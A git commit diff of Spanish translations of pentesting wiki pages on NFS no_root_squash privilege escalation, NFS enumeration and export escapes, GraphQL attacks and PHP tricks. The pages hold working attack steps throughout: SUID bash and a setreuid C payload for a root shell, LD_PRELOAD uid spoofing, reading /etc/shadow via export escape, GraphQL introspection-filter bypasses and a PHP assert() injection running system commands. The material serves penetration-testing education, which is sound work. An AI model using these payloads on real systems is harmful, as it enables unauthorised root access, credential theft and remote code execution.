Translated ['src/linux-hardening/privilege-escalation/nfs-no_root_squash

2025-10-10 18:36:50 +00:00 · 2025-02-05 00:24:20 +00:00 · 2025-02-05 00:24:20 +00:00 · 8623fda52d
commit 8623fda52d
parent d46ada9918
10 changed files with 319 additions and 167 deletions
--- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
+++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
@ -1,18 +1,29 @@
 {{#include ../../banners/hacktricks-training.md}}

-Lee el _ **/etc/exports** _ archivo, si encuentras algún directorio que esté configurado como **no_root_squash**, entonces puedes **acceder** a él **como cliente** y **escribir dentro** de ese directorio **como** si fueras el **root** local de la máquina.
+# Información Básica sobre Squashing

-**no_root_squash**: Esta opción básicamente le da autoridad al usuario root en el cliente para acceder a archivos en el servidor NFS como root. Y esto puede llevar a serias implicaciones de seguridad.
+NFS generalmente (especialmente en Linux) confía en el `uid` y `gid` indicados por el cliente que se conecta para acceder a los archivos (si no se utiliza kerberos). Sin embargo, hay algunas configuraciones que se pueden establecer en el servidor para **cambiar este comportamiento**:

-**no_all_squash:** Esto es similar a la opción **no_root_squash** pero se aplica a **usuarios no root**. Imagina que tienes un shell como el usuario nobody; revisaste el archivo /etc/exports; la opción no_all_squash está presente; revisa el archivo /etc/passwd; emula un usuario no root; crea un archivo suid como ese usuario (montando usando nfs). Ejecuta el suid como el usuario nobody y conviértete en un usuario diferente.
+- **`all_squash`**: Aplana todos los accesos mapeando a cada usuario y grupo a **`nobody`** (65534 sin signo / -2 con signo). Por lo tanto, todos son `nobody` y no se utilizan usuarios.
+- **`root_squash`/`no_all_squash`**: Este es el valor predeterminado en Linux y **solo aplana el acceso con uid 0 (root)**. Por lo tanto, cualquier `UID` y `GID` son confiables, pero `0` se aplana a `nobody` (por lo que no es posible la suplantación de root).
+- **`no_root_squash`**: Esta configuración, si está habilitada, ni siquiera aplana al usuario root. Esto significa que si montas un directorio con esta configuración, puedes acceder a él como root.

-# Escalamiento de Privilegios
+En el archivo **/etc/exports**, si encuentras algún directorio que esté configurado como **no_root_squash**, entonces puedes **acceder** a él desde **como cliente** y **escribir dentro** de ese directorio **como** si fueras el **root** local de la máquina.
+
+Para más información sobre **NFS**, consulta:
+
+{{#ref}}
+/network-services-pentesting/nfs-service-pentesting.md
+{{#endref}}
+
+# Escalación de Privilegios

 ## Explotación Remota

-Si has encontrado esta vulnerabilidad, puedes explotarla:
-
- **Montando ese directorio** en una máquina cliente, y **como root copiando** dentro de la carpeta montada el **/bin/bash** binario y dándole derechos **SUID**, y **ejecutando desde la máquina víctima** ese binario bash.
+Opción 1 usando bash:
+- **Montar ese directorio** en una máquina cliente, y **como root copiar** dentro de la carpeta montada el binario **/bin/bash** y darle derechos **SUID**, y **ejecutar desde la máquina víctima** ese binario bash.
+- Ten en cuenta que para ser root dentro del recurso compartido NFS, **`no_root_squash`** debe estar configurado en el servidor.
+- Sin embargo, si no está habilitado, podrías escalar a otro usuario copiando el binario al recurso compartido NFS y dándole el permiso SUID como el usuario al que deseas escalar.
 ```bash
 #Attacker, as root user
 mkdir /tmp/pe
@ -25,7 +36,9 @@ chmod +s bash
 cd <SHAREDD_FOLDER>
 ./bash -p #ROOT shell
 ```
- **Montando ese directorio** en una máquina cliente, y **como root copiando** dentro de la carpeta montada nuestro payload compilado que abusará del permiso SUID, dándole derechos **SUID**, y **ejecutando desde la máquina víctima** ese binario (puedes encontrar aquí algunos [payloads C SUID](payloads-to-execute.md#c)).
+Opción 2 usando código compilado en C:
+- **Montando ese directorio** en una máquina cliente, y **como root copiando** dentro de la carpeta montada nuestra carga útil compilada que abusará del permiso SUID, dándole derechos de **SUID**, y **ejecutando desde la máquina víctima** ese binario (puedes encontrar aquí algunos [C SUID payloads](payloads-to-execute.md#c)).
+- Las mismas restricciones que antes.
 ```bash
 #Attacker, as root user
 gcc payload.c -o payload
@ -43,8 +56,8 @@ cd <SHAREDD_FOLDER>

 > [!NOTE]
 > Tenga en cuenta que si puede crear un **túnel desde su máquina a la máquina víctima, aún puede usar la versión remota para explotar esta escalada de privilegios tunelizando los puertos requeridos**.\
-> El siguiente truco es en caso de que el archivo `/etc/exports` **indique una IP**. En este caso, **no podrá usar** en ningún caso el **exploit remoto** y necesitará **abusar de este truco**.\
-> Otro requisito necesario para que el exploit funcione es que **la exportación dentro de `/etc/export`** **debe estar usando la bandera `insecure`**.\
+> El siguiente truco es en caso de que el archivo `/etc/exports` **indique una IP**. En este caso **no podrá usar** en ningún caso la **explotación remota** y necesitará **abusar de este truco**.\
+> Otro requisito necesario para que la explotación funcione es que **la exportación dentro de `/etc/export`** **debe estar usando la bandera `insecure`**.\
 > --_No estoy seguro de que si `/etc/export` está indicando una dirección IP, este truco funcionará_--

 ## Basic Information
@ -62,34 +75,29 @@ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib
 ```
 ### Realizando el Explotación

-La explotación implica crear un programa C simple (`pwn.c`) que eleva privilegios a root y luego ejecuta un shell. El programa se compila y el binario resultante (`a.out`) se coloca en el recurso compartido con suid root, utilizando `ld_nfs.so` para falsificar el uid en las llamadas RPC:
+La explotación implica crear un programa simple en C (`pwn.c`) que eleva los privilegios a root y luego ejecuta un shell. El programa se compila y el binario resultante (`a.out`) se coloca en el recurso compartido con suid root, utilizando `ld_nfs.so` para falsificar el uid en las llamadas RPC:

 1. **Compilar el código de explotación:**
-
 ```bash
 cat pwn.c
 int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
 gcc pwn.c -o a.out
 ```
-
-2. **Colocar la explotación en el recurso compartido y modificar sus permisos falsificando el uid:**
-
+2. **Coloca el exploit en el recurso compartido y modifica sus permisos falsificando el uid:**
 ```bash
 LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
 LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
 LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
 LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
 ```
-
-3. **Ejecutar la explotación para obtener privilegios de root:**
+3. **Ejecuta el exploit para obtener privilegios de root:**
 ```bash
 /mnt/share/a.out
 #root
 ```
+## Bonus: NFShell para Acceso a Archivos Sigiloso

-## Bonificación: NFShell para Acceso a Archivos Sigiloso
-
-Una vez que se obtiene acceso root, para interactuar con el recurso compartido NFS sin cambiar la propiedad (para evitar dejar rastros), se utiliza un script de Python (nfsh.py). Este script ajusta el uid para que coincida con el del archivo que se está accediendo, permitiendo la interacción con archivos en el recurso compartido sin problemas de permisos:
+Una vez que se obtiene acceso root, para interactuar con el recurso compartido NFS sin cambiar la propiedad (para evitar dejar rastros), se utiliza un script de Python (nfsh.py). Este script ajusta el uid para que coincida con el del archivo que se está accediendo, lo que permite interactuar con archivos en el recurso compartido sin problemas de permisos:
 ```python
 #!/usr/bin/env python
 # script from https://www.errno.fr/nfs_privesc.html
--- a/src/network-services-pentesting/nfs-service-pentesting.md
+++ b/src/network-services-pentesting/nfs-service-pentesting.md
@ -6,27 +6,64 @@

 **NFS** es un sistema diseñado para **cliente/servidor** que permite a los usuarios acceder a archivos a través de una red como si estos archivos estuvieran ubicados dentro de un directorio local.

-Un aspecto notable de este protocolo es su falta de **mecanismos de autenticación** o **autorización** integrados. En su lugar, la autorización se basa en la **información del sistema de archivos**, siendo el servidor responsable de traducir con precisión la **información del usuario proporcionada por el cliente** al **formato de autorización** requerido por el sistema de archivos, siguiendo principalmente la **sintaxis de UNIX**.
-
-La autenticación comúnmente se basa en **identificadores `UID`/`GID` de UNIX y membresías de grupo**. Sin embargo, surge un desafío debido a la posible discrepancia en los **mapeos de `UID`/`GID`** entre clientes y servidores, dejando sin espacio para una verificación adicional por parte del servidor. En consecuencia, el protocolo es más adecuado para su uso dentro de **redes de confianza**, dado su dependencia de este método de autenticación.
-
 **Puerto por defecto**: 2049/TCP/UDP (excepto la versión 4, solo necesita TCP o UDP).
 ```
 2049/tcp open  nfs     2-3 (RPC #100003
 ```
+### Autenticación
+
+Un aspecto notable de este protocolo es su habitual falta de mecanismos de **autenticación** o **autorización** integrados. En cambio, la autorización se basa en la **información del sistema de archivos**, con el servidor encargado de traducir con precisión la **información del usuario proporcionada por el cliente** al **formato de autorización** requerido por el sistema de archivos, siguiendo principalmente la **sintaxis de UNIX**.
+
+La autenticación comúnmente se basa en **identificadores `UID`/`GID` de UNIX y membresías de grupo**. Sin embargo, surge un desafío debido a la posible discrepancia en los **mapeos `UID`/`GID`** entre clientes y servidores, dejando sin espacio para una verificación adicional por parte del servidor. Además, estos detalles son enviados por el cliente y son confiables por el servidor, por lo que un cliente malintencionado podría potencialmente **suplantar a otro usuario enviando `uid` y `gid` más privilegiados**.
+
+**Sin embargo, ten en cuenta que por defecto no es posible suplantar el `UID` 0 (root) usando NFS. Más sobre esto en la sección de squashing.**
+
+#### Hosts
+
+Para una mejor (o alguna) autorización, puedes especificar los **hosts** que pueden acceder al recurso compartido de NFS. Esto se puede hacer en el archivo `/etc/exports` de Linux. Por ejemplo:
+```
+/PATH/TO/EXPORT      CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ...
+/media/disk/share   192.168.2.123(rw,sec=krb5p:krb5i)
+```
+Como puedes ver, permite configurar una **IP** o **nombre de host** específico para acceder al recurso compartido. Solo esa dirección podrá acceder al recurso compartido.
+
 ### Versiones

 - **NFSv2**: Esta versión es reconocida por su amplia compatibilidad con varios sistemas, marcando su importancia con operaciones iniciales predominantemente sobre UDP. Siendo la **más antigua** de la serie, sentó las bases para desarrollos futuros.

 - **NFSv3**: Introducida con una serie de mejoras, NFSv3 se expandió sobre su predecesora al soportar tamaños de archivo variables y ofrecer mecanismos de reporte de errores mejorados. A pesar de sus avances, enfrentó limitaciones en la compatibilidad total hacia atrás con clientes NFSv2.

- **NFSv4**: Una versión histórica en la serie NFS, NFSv4 trajo consigo un conjunto de características diseñadas para modernizar el intercambio de archivos a través de redes. Las mejoras notables incluyen la integración de Kerberos para **alta seguridad**, la capacidad de atravesar firewalls y operar a través de Internet sin necesidad de portmappers, soporte para Listas de Control de Acceso (ACLs), y la introducción de operaciones basadas en estado. Sus mejoras de rendimiento y la adopción de un protocolo con estado distinguen a NFSv4 como un avance fundamental en las tecnologías de intercambio de archivos en red.
+- **NFSv4**: Una versión histórica en la serie NFS, NFSv4 trajo consigo un conjunto de características diseñadas para modernizar el intercambio de archivos a través de redes. Las mejoras notables incluyen la integración de Kerberos para **alta seguridad**, la capacidad de atravesar firewalls y operar a través de Internet sin necesidad de portmappers, soporte para Listas de Control de Acceso (ACLs) y la introducción de operaciones basadas en estado. Sus mejoras de rendimiento y la adopción de un protocolo con estado distinguen a NFSv4 como un avance fundamental en las tecnologías de intercambio de archivos en red.
+- Ten en cuenta que es muy raro encontrar un host Linux NFS que soporte autenticación kerberos.

-Cada versión de NFS ha sido desarrollada con la intención de abordar las necesidades en evolución de los entornos de red, mejorando progresivamente la seguridad, la compatibilidad y el rendimiento.
+Cada versión de NFS ha sido desarrollada con la intención de abordar las necesidades en evolución de los entornos de red, mejorando progresivamente la seguridad, compatibilidad y rendimiento.
+
+### Squashing
+
+Como se mencionó anteriormente, NFS generalmente confiará en el `uid` y `gid` del cliente para acceder a los archivos (si no se utiliza kerberos). Sin embargo, hay algunas configuraciones que se pueden establecer en el servidor para **cambiar este comportamiento**:
+
+- **all_squash**: Aplana todos los accesos mapeando a cada usuario y grupo a **`nobody`** (65534 sin signo / -2 con signo). Por lo tanto, todos son `nobody` y no se utilizan usuarios.
+- **root_squash/no_all_squash**: Esto es predeterminado en Linux y **solo aplana el acceso con uid 0 (root)**. Por lo tanto, cualquier `UID` y `GID` son confiables, pero `0` se aplana a `nobody` (por lo que no es posible la suplantación de root).
+- **no_root_squash**: Esta configuración, si se habilita, ni siquiera aplana al usuario root. Esto significa que si montas un directorio con esta configuración, puedes acceder a él como root.
+
+### Subtree check
+
+Solo disponible en Linux. man(5) exports dice: "Si un subdirectorio de un sistema de archivos se exporta, pero el sistema de archivos completo no, entonces cada vez que llega una solicitud NFS, el servidor debe verificar no solo que el archivo accedido esté en el sistema de archivos apropiado (lo cual es fácil), sino también que esté en el árbol exportado (lo cual es más difícil). Esta verificación se llama la verificación de subárbol."
+
+En Linux, la **función `subtree_check` está deshabilitada** por defecto.

 ## Enumeración

-### Scripts útiles de nmap
+### Showmount
+
+Esto se puede usar para **obtener información de un servidor NFSv3**, como la lista de **exportaciones**, quién está **autorizado a acceder** a estas exportaciones y qué clientes están conectados (lo cual puede ser inexacto si un cliente se desconecta sin informar al servidor).
+En **NFSv4, los clientes acceden directamente al / export** y tratan de acceder a las exportaciones desde allí, fallando si es inválido o no autorizado por cualquier razón.
+
+Si herramientas como `showmount` o módulos de Metasploit no muestran información de un puerto NFS, es potencialmente un servidor NFSv4 que no soporta la versión 3.
+```bash
+showmount -e <IP>
+```
+### Scripts de nmap útiles
 ```bash
 nfs-ls #List NFS exports and check permissions
 nfs-showmount #Like showmount -e
@ -36,7 +73,11 @@ nfs-statfs #Disk statistics and info from NFS share
 ```bash
 scanner/nfs/nfsmount #Scan NFS mounts and list permissions
 ```
-### Montaje
+### nfs_analyze
+
+Esta herramienta de [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) se puede utilizar para obtener muchos datos de un servidor NFS como **montajes**, versiones de NFS soportadas, IPs conectadas, e incluso si es posible **escapar de las exportaciones** a otras carpetas en el FS o **si `no_root_squash` está habilitado**.
+
+## Montaje

 Para saber **qué carpeta** tiene el servidor **disponible** para montarte, puedes preguntarle usando:
 ```bash
@ -53,22 +94,47 @@ Deberías especificar **usar la versión 2** porque no tiene **ninguna** **auten
 mkdir /mnt/new_back
 mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
 ```
-## Permisos
+## Ataques

-Si montas una carpeta que contiene **archivos o carpetas solo accesibles por algún usuario** (por **UID**). Puedes **crear** **localmente** un usuario con ese **UID** y usando ese **usuario** podrás **acceder** al archivo/carpeta.
+### Confianza en UID y GID

-## NSFShell
+Por supuesto, el único problema aquí es que por defecto no es posible suplantar a root (`UID` 0). Sin embargo, es posible suplantar a cualquier otro usuario o si `no_root_squash` está habilitado, también puedes suplantar a root.

-Para listar, montar y cambiar fácilmente el UID y GID para tener acceso a archivos, puedes usar [nfsshell](https://github.com/NetDirect/nfsshell).
+- Si montas una carpeta que contiene **archivos o carpetas solo accesibles por algún usuario** (por **UID**). Puedes **crear** **localmente** un usuario con ese **UID** y usando ese **usuario** podrás **acceder** al archivo/carpeta.
+- La herramienta **`fuse_nfs`** de [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) enviará básicamente siempre el UID y GID necesarios para acceder a los archivos.

-[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
+### Escalación de privilegios SUID
+
+Consulta la página:
+
+{{#ref}}
+/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
+{{#endref}}
+
+### Escapando de las exportaciones
+
+En este [gran artículo](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/) es posible ver que es posible **escapar de las exportaciones para acceder a otras carpetas en el FS**.
+
+Por lo tanto, si una exportación está exportando una carpeta que es una **subcarpeta** del **sistema de archivos completo**, es posible acceder a archivos fuera de la exportación si **`subtree_check`** está deshabilitado. Y está **deshabilitado por defecto en Linux**.
+
+Por ejemplo, si un servidor NFS está exportando `/srv/` y `/var/` está en el mismo sistema de archivos, es posible leer registros de `/var/log/` o almacenar un webshell en `/var/www/`.
+
+Además, ten en cuenta que por defecto solo el usuario root (0) está protegido de ser suplantado (consulta la sección Squash). Sin embargo, si un archivo es **propiedad de root pero el grupo no es 0, es posible acceder a él**. Por ejemplo, el archivo `/etc/shadow` es propiedad de root pero el grupo es `shadow` (gid 42 en Debian). ¡Por lo tanto, es posible leerlo por defecto!
+
+La herramienta **`nfs_analyze`** de [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) está diseñada para soportar este ataque contra los sistemas de archivos ext4, xfs, btrfs en la versión 3 (también debería ser posible en v4).
+
+### NSFShell
+
+Para listar, montar y cambiar fácilmente UID y GID para tener acceso a archivos, puedes usar [nfsshell](https://github.com/NetDirect/nfsshell).
+
+[Bonito tutorial de NFSShell.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)

 ## Archivos de configuración
 ```
 /etc/exports
 /etc/lib/nfs/etab
 ```
-### Configuraciones peligrosas
+## Configuraciones peligrosas

 - **Permisos de lectura y escritura (`rw`):** Esta configuración permite tanto la lectura como la escritura en el sistema de archivos. Es esencial considerar las implicaciones de otorgar un acceso tan amplio.

--- a/src/network-services-pentesting/pentesting-web/graphql.md
+++ b/src/network-services-pentesting/pentesting-web/graphql.md
@ -4,7 +4,7 @@

 ## Introducción

-GraphQL es **destacado** como una **alternativa eficiente** a REST API, ofreciendo un enfoque simplificado para consultar datos desde el backend. En contraste con REST, que a menudo requiere numerosas solicitudes a través de diversos endpoints para recopilar datos, GraphQL permite obtener toda la información necesaria a través de una **solicitud única**. Esta simplificación **beneficia significativamente a los desarrolladores** al disminuir la complejidad de sus procesos de obtención de datos.
+GraphQL es **destacado** como una **alternativa eficiente** a REST API, ofreciendo un enfoque simplificado para consultar datos desde el backend. En contraste con REST, que a menudo requiere numerosas solicitudes a través de diversos endpoints para recopilar datos, GraphQL permite obtener toda la información necesaria a través de una **solicitud única**. Esta simplificación **beneficia significativamente a los desarrolladores** al reducir la complejidad de sus procesos de obtención de datos.

 ## GraphQL y Seguridad

@ -51,7 +51,7 @@ Con esta consulta encontrarás el nombre de todos los tipos que se están utiliz
 ```bash
 query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
 ```
-Con esta consulta puedes extraer todos los tipos, sus campos y sus argumentos (y el tipo de los argumentos). Esto será muy útil para saber cómo consultar la base de datos.
+Con esta consulta, puedes extraer todos los tipos, sus campos y sus argumentos (y el tipo de los argumentos). Esto será muy útil para saber cómo consultar la base de datos.

 ![](<../../images/image (950).png>)

@ -172,7 +172,7 @@ Si la introspección está habilitada, puedes usar [**GraphQL Voyager**](https:/

 Ahora que sabemos qué tipo de información se guarda dentro de la base de datos, intentemos **extraer algunos valores**.

-En la introspección puedes encontrar **qué objeto puedes consultar directamente** (porque no puedes consultar un objeto solo porque existe). En la siguiente imagen puedes ver que el "_queryType_" se llama "_Query_" y que uno de los campos del objeto "_Query_" es "_flags_", que también es un tipo de objeto. Por lo tanto, puedes consultar el objeto flag.
+En la introspección puedes encontrar **qué objeto puedes consultar directamente** (porque no puedes consultar un objeto solo porque existe). En la imagen siguiente puedes ver que el "_queryType_" se llama "_Query_" y que uno de los campos del objeto "_Query_" es "_flags_", que también es un tipo de objeto. Por lo tanto, puedes consultar el objeto flag.

 ![](<../../images/Screenshot from 2021-03-13 18-17-48.png>)

@ -193,7 +193,7 @@ Puedes simplemente consultarlo con:
 query = { hiddenFlags }
 ```
 En otro ejemplo donde había 2 objetos dentro del objeto de tipo "_Query_": "_user_" y "_users_".\
-Si estos objetos no necesitan ningún argumento para buscar, podría **recuperar toda la información de ellos** simplemente **pidiendo** los datos que desea. En este ejemplo de Internet, podría extraer los nombres de usuario y contraseñas guardados:
+Si estos objetos no necesitan ningún argumento para buscar, podría **recuperar toda la información de ellos** simplemente **pidiendo** los datos que desea. En este ejemplo de Internet podría extraer los nombres de usuario y contraseñas guardados:

 ![](<../../images/image (880).png>)

@ -359,7 +359,7 @@ Una buena **lista de palabras** para descubrir [**entidades de GraphQL se puede

 ### Eludir las defensas de introspección de GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>

-Para eludir las restricciones en las consultas de introspección en las API, insertar un **carácter especial después de la palabra clave `__schema`** resulta efectivo. Este método explota descuidos comunes de los desarrolladores en patrones de regex que intentan bloquear la introspección al centrarse en la palabra clave `__schema`. Al agregar caracteres como **espacios, nuevas líneas y comas**, que GraphQL ignora pero que podrían no estar contemplados en regex, se pueden eludir las restricciones. Por ejemplo, una consulta de introspección con una nueva línea después de `__schema` puede eludir tales defensas:
+Para eludir las restricciones en las consultas de introspección en las API, insertar un **carácter especial después de la palabra clave `__schema`** resulta efectivo. Este método explota descuidos comunes de los desarrolladores en patrones de regex que intentan bloquear la introspección al centrarse en la palabra clave `__schema`. Al agregar caracteres como **espacios, nuevas líneas y comas**, que GraphQL ignora pero que podrían no ser considerados en regex, se pueden eludir las restricciones. Por ejemplo, una consulta de introspección con una nueva línea después de `__schema` puede eludir tales defensas:
 ```bash
 # Example with newline to bypass
 {
@ -369,7 +369,7 @@ Para eludir las restricciones en las consultas de introspección en las API, ins
 ```
 Si no tiene éxito, considere métodos de solicitud alternativos, como **solicitudes GET** o **POST con `x-www-form-urlencoded`**, ya que las restricciones pueden aplicarse solo a las solicitudes POST.

-### Pruebe WebSockets
+### Intente WebSockets

 Como se mencionó en [**esta charla**](https://www.youtube.com/watch?v=tIo_t5uUK50), verifique si podría ser posible conectarse a graphQL a través de WebSockets, ya que eso podría permitirle eludir un posible WAF y hacer que la comunicación de WebSocket filtre el esquema de graphQL:
 ```javascript
@ -417,7 +417,7 @@ Ten en cuenta que las solicitudes de GraphQL generalmente se envían a través d
 ```javascript
 {"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}
 ```
-Sin embargo, la mayoría de los endpoints de GraphQL también soportan **`form-urlencoded` POST requests:**
+Sin embargo, la mayoría de los endpoints de GraphQL también soportan **`form-urlencoded` solicitudes POST:**
 ```javascript
 query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
 ```
@ -521,7 +521,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
 -d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
 'https://example.com/graphql'
 ```
-Tenga en cuenta que en el ejemplo anterior `@aa` es una directiva personalizada que **puede no estar declarada**. Una directiva común que generalmente existe es **`@include`**:
+Tenga en cuenta que en el ejemplo anterior `@aa` es una directiva personalizada que **puede no estar declarada**. Una directiva común que suele existir es **`@include`**:
 ```bash
 curl -X POST \
 -H "Content-Type: application/json" \
@ -551,14 +551,14 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
 ### Escáneres de vulnerabilidades

 - [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Prueba configuraciones incorrectas comunes de endpoints graphql
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Script de auditoría de seguridad de GraphQL con un enfoque en realizar consultas y mutaciones de GraphQL por lotes.
+- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Script de auditoría de seguridad de GraphQL con un enfoque en realizar consultas y mutaciones GraphQL por lotes.
 - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identifica el graphql que se está utilizando
 - [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Kit de herramientas que se puede usar para obtener esquemas y buscar datos sensibles, probar autorización, forzar esquemas y encontrar rutas a un tipo dado.
 - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Se puede usar como independiente o [extensión de Burp](https://github.com/doyensec/inql).
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): También se puede usar como cliente CLI para automatizar ataques
+- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): También se puede usar como cliente CLI para automatizar ataques: `python3 graphqlmap.py -u http://example.com/graphql --inject`
 - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Herramienta que lista las diferentes formas de **alcanzar un tipo dado en un esquema GraphQL**.
 - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): El sucesor de los modos independiente y CLI de InQL
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Extensión de Burp para pruebas avanzadas de GraphQL. El _**Escáner**_ es el núcleo de InQL v5.0, donde puedes analizar un endpoint de GraphQL o un archivo de esquema de introspección local. Genera automáticamente todas las posibles consultas y mutaciones, organizándolas en una vista estructurada para tu análisis. El componente _**Atacante**_ te permite ejecutar ataques por lotes de GraphQL, lo que puede ser útil para eludir límites de tasa mal implementados.
+- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Extensión de Burp o script de python para pruebas avanzadas de GraphQL. El _**Escáner**_ es el núcleo de InQL v5.0, donde puedes analizar un endpoint de GraphQL o un archivo de esquema de introspección local. Genera automáticamente todas las posibles consultas y mutaciones, organizándolas en una vista estructurada para tu análisis. El componente _**Atacante**_ te permite ejecutar ataques GraphQL por lotes, lo que puede ser útil para eludir límites de tasa mal implementados: `python3 inql.py -t http://example.com/graphql -o output.json`
 - [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Intenta obtener el esquema incluso con la introspección deshabilitada utilizando la ayuda de algunas bases de datos Graphql que sugerirán los nombres de mutaciones y parámetros.

 ### Clientes
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
+++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
@ -64,7 +64,7 @@ El mismo error ocurre con `strcasecmp()`

 ### Conversión de tipos estricta

-Incluso si se está utilizando `===`, podría haber errores que hacen que la comparación sea vulnerable a la conversión de tipos. Por ejemplo, si la comparación está **convirtiendo los datos a un tipo diferente de objeto antes de comparar**:
+Incluso si `===` está **siendo utilizado**, podría haber errores que hacen que la **comparación sea vulnerable** a la **conversión de tipos**. Por ejemplo, si la comparación está **convirtiendo los datos a un tipo diferente de objeto antes de comparar**:
 ```php
 (int) "1abc" === (int) "1xyz" //This will be true
 ```
@ -154,9 +154,10 @@ Check:
 ## More tricks

 - **register_globals**: En **PHP < 4.1.1.1** o si está mal configurado, **register_globals** puede estar activo (o su comportamiento está siendo imitado). Esto implica que en variables globales como $\_GET si tienen un valor e.g. $\_GET\["param"]="1234", puedes acceder a él a través de **$param. Por lo tanto, al enviar parámetros HTTP puedes sobrescribir variables\*\* que se utilizan dentro del código.
- Las **cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar**, por lo tanto, si dentro de un dominio **se utilizan diferentes cookies en diferentes rutas** puedes hacer que una ruta **acceda a la cookie de la ruta** estableciendo el valor de la cookie de la otra ruta.\
+- Las **cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar**, por lo tanto, si dentro de un dominio **se utilizan diferentes cookies en diferentes rutas** puedes hacer que una ruta **acceda a la cookie de la ruta** configurando el valor de la cookie de la otra ruta.\
 De esta manera, si **ambas rutas acceden a una variable con el mismo nombre** puedes hacer que el **valor de esa variable en path1 se aplique a path2**. Y luego path2 tomará como válidos las variables de path1 (dándole a la cookie el nombre que le corresponde en path2).
- Cuando tengas los **nombres de usuario** de los usuarios de la máquina. Verifica la dirección: **/\~\<USERNAME>** para ver si los directorios php están activados.
+- Cuando tienes los **nombres de usuario** de los usuarios de la máquina. Verifica la dirección: **/\~\<USERNAME>** para ver si los directorios php están activados.
+- Si una configuración de php tiene **`register_argc_argv = On`** entonces los parámetros de consulta separados por espacios se utilizan para poblar el array de argumentos **`array_keys($_SERVER['argv'])`** como si fueran **argumentos de la CLI**. Esto es interesante porque si esa **configuración está desactivada**, el valor del **array args será `Null`** cuando se llame desde la web ya que el array args no se poblará. Por lo tanto, si una página web intenta verificar si se está ejecutando como una herramienta web o como una herramienta CLI con una comparación como `if (empty($_SERVER['argv'])) {` un atacante podría enviar **parámetros en la solicitud GET como `?--configPath=/lalala`** y pensará que se está ejecutando como CLI y potencialmente analizará y utilizará esos argumentos. Más información en el [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
 - [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)

 ### password_hash/password_verify
@ -172,7 +173,7 @@ True
 ```
 ### HTTP headers bypass abusando de errores de PHP

-#### Causando error después de establecer encabezados
+#### Causando un error después de establecer encabezados

 Desde [**este hilo de twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) puedes ver que al enviar más de 1000 parámetros GET o 1000 parámetros POST o 20 archivos, PHP no va a establecer encabezados en la respuesta.

@ -223,7 +224,7 @@ Esta opción de preg_replace ha sido **desaprobada a partir de PHP 5.5.0.**
 ```
 ### **RCE a través de Assert()**

-Esta función dentro de php permite **ejecutar código que está escrito en una cadena** con el fin de **devolver verdadero o falso** (y dependiendo de esto alterar la ejecución). Por lo general, la variable del usuario se insertará en medio de una cadena. Por ejemplo:\
+Esta función dentro de php te permite **ejecutar código que está escrito en una cadena** para **devolver verdadero o falso** (y dependiendo de esto alterar la ejecución). Por lo general, la variable del usuario se insertará en medio de una cadena. Por ejemplo:\
 `assert("strpos($_GET['page']),'..') === false")` --> En este caso, para obtener **RCE** podrías hacer:
 ```
 ?page=a','NeVeR') === false and system('ls') and strpos('a
@ -257,13 +258,13 @@ function foo($x,$y){
